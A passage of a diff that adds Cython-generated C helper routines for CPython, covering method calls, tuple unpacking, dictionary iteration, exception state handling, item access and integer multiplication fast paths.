PyObjectCallMethod0 */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* RaiseNeedMoreValuesToUnpack */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { + PyErr_Format(PyExc_ValueError, + "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack", + index, (index == 1) ? "" : "s"); +} + +/* RaiseTooManyValuesToUnpack */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { + PyErr_Format(PyExc_ValueError, + "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected); +} + +/* UnpackItemEndCheck */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { + if (unlikely(retval)) { + Py_DECREF(retval); + __Pyx_RaiseTooManyValuesError(expected); + return -1; + } + return __Pyx_IterFinish(); +} + +/* RaiseNoneIterError */ +static CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void) { + PyErr_SetString(PyExc_TypeError, "'NoneType' object is not iterable"); +} + +/* UnpackTupleError */ +static void __Pyx_UnpackTupleError(PyObject *t, Py_ssize_t index) { + if (t == Py_None) { + __Pyx_RaiseNoneNotIterableError(); + } else if (PyTuple_GET_SIZE(t) < index) { + __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(t)); + } else { + __Pyx_RaiseTooManyValuesError(index); + } +} + +/* UnpackTuple2 */ +static CYTHON_INLINE int __Pyx_unpack_tuple2_exact( + PyObject* tuple, PyObject** pvalue1, PyObject** pvalue2, int decref_tuple) { + PyObject *value1 = NULL, *value2 = NULL; +#if CYTHON_COMPILING_IN_PYPY + value1 = PySequence_ITEM(tuple, 0); if (unlikely(!value1)) goto bad; + value2 = PySequence_ITEM(tuple, 1); if (unlikely(!value2)) goto bad; +#else + value1 = PyTuple_GET_ITEM(tuple, 0); Py_INCREF(value1); + value2 = PyTuple_GET_ITEM(tuple, 1); Py_INCREF(value2); +#endif + if (decref_tuple) { + Py_DECREF(tuple); + } + *pvalue1 = value1; + *pvalue2 = value2; + return 0; +#if CYTHON_COMPILING_IN_PYPY +bad: + Py_XDECREF(value1); + Py_XDECREF(value2); + if (decref_tuple) { Py_XDECREF(tuple); } + return -1; +#endif +} +static int __Pyx_unpack_tuple2_generic(PyObject* tuple, PyObject** pvalue1, PyObject** pvalue2, + int has_known_size, int decref_tuple) { + Py_ssize_t index; + PyObject *value1 = NULL, *value2 = NULL, *iter = NULL; + iternextfunc iternext; + iter = PyObject_GetIter(tuple); + if (unlikely(!iter)) goto bad; + if (decref_tuple) { Py_DECREF(tuple); tuple = NULL; } + iternext = __Pyx_PyObject_GetIterNextFunc(iter); + value1 = iternext(iter); if (unlikely(!value1)) { index = 0; goto unpacking_failed; } + value2 = iternext(iter); if (unlikely(!value2)) { index = 1; goto unpacking_failed; } + if (!has_known_size && unlikely(__Pyx_IternextUnpackEndCheck(iternext(iter), 2))) goto bad; + Py_DECREF(iter); + *pvalue1 = value1; + *pvalue2 = value2; + return 0; +unpacking_failed: + if (!has_known_size && __Pyx_IterFinish() == 0) + __Pyx_RaiseNeedMoreValuesError(index); +bad: + Py_XDECREF(iter); + Py_XDECREF(value1); + Py_XDECREF(value2); + if (decref_tuple) { Py_XDECREF(tuple); } + return -1; +} + +/* dict_iter */ +#if CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 +#include +#endif +static CYTHON_INLINE PyObject* __Pyx_dict_iterator(PyObject* iterable, int is_dict, PyObject* method_name, + Py_ssize_t* p_orig_length, int* p_source_is_dict) { + is_dict = is_dict || likely(PyDict_CheckExact(iterable)); + *p_source_is_dict = is_dict; + if (is_dict) { +#if !CYTHON_COMPILING_IN_PYPY + *p_orig_length = PyDict_Size(iterable); + Py_INCREF(iterable); + return iterable; +#elif PY_MAJOR_VERSION >= 3 + static PyObject *py_items = NULL, *py_keys = NULL, *py_values = NULL; + PyObject **pp = NULL; + if (method_name) { + const char *name = PyUnicode_AsUTF8(method_name); + if (strcmp(name, "iteritems") == 0) pp = &py_items; + else if (strcmp(name, "iterkeys") == 0) pp = &py_keys; + else if (strcmp(name, "itervalues") == 0) pp = &py_values; + if (pp) { + if (!*pp) { + *pp = PyUnicode_FromString(name + 4); + if (!*pp) + return NULL; + } + method_name = *pp; + } + } +#endif + } + *p_orig_length = 0; + if (method_name) { + PyObject* iter; + iterable = __Pyx_PyObject_CallMethod0(iterable, method_name); + if (!iterable) + return NULL; +#if !CYTHON_COMPILING_IN_PYPY + if (PyTuple_CheckExact(iterable) || PyList_CheckExact(iterable)) + return iterable; +#endif + iter = PyObject_GetIter(iterable); + Py_DECREF(iterable); + return iter; + } + return PyObject_GetIter(iterable); +} +static CYTHON_INLINE int __Pyx_dict_iter_next( + PyObject* iter_obj, CYTHON_NCP_UNUSED Py_ssize_t orig_length, CYTHON_NCP_UNUSED Py_ssize_t* ppos, + PyObject** pkey, PyObject** pvalue, PyObject** pitem, int source_is_dict) { + PyObject* next_item; +#if !CYTHON_COMPILING_IN_PYPY + if (source_is_dict) { + PyObject *key, *value; + if (unlikely(orig_length != PyDict_Size(iter_obj))) { + PyErr_SetString(PyExc_RuntimeError, "dictionary changed size during iteration"); + return -1; + } + if (unlikely(!PyDict_Next(iter_obj, ppos, &key, &value))) { + return 0; + } + if (pitem) { + PyObject* tuple = PyTuple_New(2); + if (unlikely(!tuple)) { + return -1; + } + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(tuple, 0, key); + PyTuple_SET_ITEM(tuple, 1, value); + *pitem = tuple; + } else { + if (pkey) { + Py_INCREF(key); + *pkey = key; + } + if (pvalue) { + Py_INCREF(value); + *pvalue = value; + } + } + return 1; + } else if (PyTuple_CheckExact(iter_obj)) { + Py_ssize_t pos = *ppos; + if (unlikely(pos >= PyTuple_GET_SIZE(iter_obj))) return 0; + *ppos = pos + 1; + next_item = PyTuple_GET_ITEM(iter_obj, pos); + Py_INCREF(next_item); + } else if (PyList_CheckExact(iter_obj)) { + Py_ssize_t pos = *ppos; + if (unlikely(pos >= PyList_GET_SIZE(iter_obj))) return 0; + *ppos = pos + 1; + next_item = PyList_GET_ITEM(iter_obj, pos); + Py_INCREF(next_item); + } else +#endif + { + next_item = PyIter_Next(iter_obj); + if (unlikely(!next_item)) { + return __Pyx_IterFinish(); + } + } + if (pitem) { + *pitem = next_item; + } else if (pkey && pvalue) { + if (__Pyx_unpack_tuple2(next_item, pkey, pvalue, source_is_dict, source_is_dict, 1)) + return -1; + } else if (pkey) { + *pkey = next_item; + } else { + *pvalue = next_item; + } + return 1; +} + +/* RaiseUnboundLocalError */ +static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) { + PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname); +} + +/* GetException */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* GetItemInt */ +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ +#if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyIntBinop */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_MultiplyObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + +#ifdef HAVE_LONG_LONG + if (sizeof(PY_LONG_LONG) > sizeof(long)) { + PY_LONG_LONG result = (PY_LONG_LONG)a * (PY_LONG_LONG)b; + return (result >= LONG_MIN && result <= LONG_MAX) ? + PyInt_FromLong((long)result) : PyLong_FromLongLong(result); + } +#endif +#if CYTHON_USE_TYPE_SLOTS + return PyInt_Type.tp_as_number->nb_multiply(op1, op2); +#else + return PyNumber_Multiply(op1, op2); +#endif + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op1); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT+30) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT+30) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT+30) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT+30) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT+30) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT+30) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_multiply(op1, op2); + } + } + CYTHON_UNUSED_VAR(a); + CYTHON_UNUSED_VAR(b); + #ifdef HAVE_LONG_LONG + lla = a; + goto long_long; + #else + return PyLong_Type.tp_as_number->nb_multiply(op1, op2); + #endif + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla * llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("multiply", return NULL) + result = ((double)a) * (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceMultiply : PyNumber_Multiply)(op1, op2); +} +#endif + +/* DictGetItem */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* ReturnWithStopIteration */ +static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, 